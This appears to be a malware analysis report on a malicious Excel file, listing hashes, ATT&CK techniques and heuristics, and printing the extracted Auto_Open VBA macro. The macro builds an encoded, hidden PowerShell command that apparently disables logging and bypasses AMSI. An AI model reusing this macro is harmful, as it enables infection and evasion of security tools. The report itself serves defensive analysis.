Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0b83e79ea0ae7e17…

MALICIOUS

Office (OOXML)

61.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-18
MD5: 4a31be5d95d7c3bf8bbba513ac9a1096 SHA-1: 3f7274a9c1a7cbed02360cc3d1edf81ef2f5c8a0 SHA-256: 0b83e79ea0ae7e174e7e3d1376d83b7f04c2e3d23df211165c09bcc2db1ad6a9
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This malicious Excel document contains an Auto_Open VBA macro that executes a PowerShell command. The PowerShell command is heavily obfuscated but appears to download and execute a second-stage payload. The document body presents a fake form requesting sensitive payment details, indicating a phishing or scam attempt.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8939 bytes
SHA-256: 12ba3d6bc8b739e852532689dd2bea9e7eb567f32e5cb9d938af440179212e4a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
        F
End Sub

Public Function F() As Variant
        Dim vKBjoV As String
        vKBjoV = "powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVg"
        vKBjoV = vKBjoV + "BFAHIAcwBpAE8AbgBUAEEAQgBsAEUALgBQAFMAVgBFAFIAUwBp"
        vKBjoV = vKBjoV + "AE8ATgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJAAwAD"
        vKBjoV = vKBjoV + "AAMQA9AFsAUgBFAGYAXQAuAEEAcwBzAGUATQBCAEwAeQAuAEcA"
        vKBjoV = vKBjoV + "ZQBUAFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
        vKBjoV = vKBjoV + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
        vKBjoV = vKBjoV + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkAZQBgAEwAZAAiAC"
        vKBjoV = vKBjoV + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
        vKBjoV = vKBjoV + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
        vKBjoV = vKBjoV + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJAAw"
        vKBjoV = vKBjoV + "ADAAMQApAHsAJAAwADYAYgA9ACQAMAAwADEALgBHAGUAdABWAE"
        vKBjoV = vKBjoV + "EAbAB1AGUAKAAkAG4AVQBsAEwAKQA7AEkAZgAoACQAMAA2AGIA"
        vKBjoV = vKBjoV + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
        vKBjoV = vKBjoV + "BnAGkAbgBnACcAXQApAHsAJAAwADYAQgBbACcAUwBjAHIAaQBw"
        vKBjoV = vKBjoV + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
        vKBjoV = vKBjoV + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
        vKBjoV = vKBjoV + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJAAwADYAQg"
        vKBjoV = vKBjoV + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
        vKBjoV = vKBjoV + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
        vKBjoV = vKBjoV + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
        vKBjoV = vKBjoV + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBsAD0AWwBDAE8ATA"
        vKBjoV = vKBjoV + "BsAGUAQwBUAEkATwBuAHMALgBHAGUATgBlAHIAaQBDAC4ARABJ"
        vKBjoV = vKBjoV + "AEMAdABJAE8AbgBhAHIAWQBbAHMAdAByAEkAbgBHACwAUwB5AF"
        vKBjoV = vKBjoV + "MAVABFAG0ALgBPAGIAagBlAGMAdABdAF0AOgA6AG4AZQBXACgA"
        vKBjoV = vKBjoV + "KQA7ACQAdgBhAGwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUw"
        vKBjoV = vKBjoV + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
        vKBjoV = vKBjoV + "AGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAGQAZAAoACcARQBuAG"
        vKBjoV = vKBjoV + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
        vKBjoV = vKBjoV + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
        vKBjoV = vKBjoV + "AwADYAYgBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
        vKBjoV = vKBjoV + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
        vKBjoV = vKBjoV + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
        vKBjoV = vKBjoV + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
        vKBjoV = vKBjoV + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
        vKBjoV = vKBjoV + "AD0AJABWAEEAbAB9AEUATABTAEUAewBbAFMAYwByAGkAUAB0AE"
        vKBjoV = vKBjoV + "IATABPAEMASwBdAC4AIgBHAGUAVABGAEkARQBgAEwARAAiACgA"
        vKBjoV = vKBjoV + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
        vKBjoV = vKBjoV + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
        vKBjoV = vKBjoV + "AHQAVgBhAGwAVQBlACgAJABOAHUAbABsACwAKABOAGUAdwAtAE"
        vKBjoV = vKBjoV + "8AQgBqAGUAYwB0ACAAQwBPAEwAbABFAGMAdABJAG8AbgBzAC4A"
        vKBjoV = vKBjoV + "RwBlAG4AZQByAGkAQwAuAEgAQQBTAEgAUwBlAFQAWwBTAFQAUg"
        vKBjoV = vKBjoV + "BJAG4AZwBdACkAKQB9ACQAUgBlAGYAPQBbAFIAZQBmAF0ALgBB"
        vKBjoV = vKBjoV + "AHMAcwBFAE0AYgBsAHkALgBHAEUAVABUAFkAUABlACgAJwBTAH"
        vKBjoV = vKBjoV + "kAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUA"
        vKBjoV = vKBjoV + "dABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQAnACsAJwBVAHQAaQ"
        vKBjoV = vKBjoV + "BsAHMAJwApADsAJABSAEUAZgAuAEcARQBUAEYAaQBlAEwAZAAo"
        vKBjoV = vKBjoV + "ACcAYQBtAHMAaQBJAG4AaQB0AEYAJwArACcAYQBpAGwAZQBkAC"
        vKBjoV = vKBjoV + "cALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMA"
        vKBjoV = vKBjoV + "JwApAC4AUwBlAHQAVgBhAEwAVQBFACgAJABuAHUAbABMACwAJA"
        vKBjoV = vKBjoV + "BUAFIAVQBFACkAOwB9ADsAWwBT
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: 91a1dca372d87e32aa8339c3069d55239ea58d34e66c15f3a50f4b399fb26492

Open this report in the interactive analyzer, or submit your own file for analysis.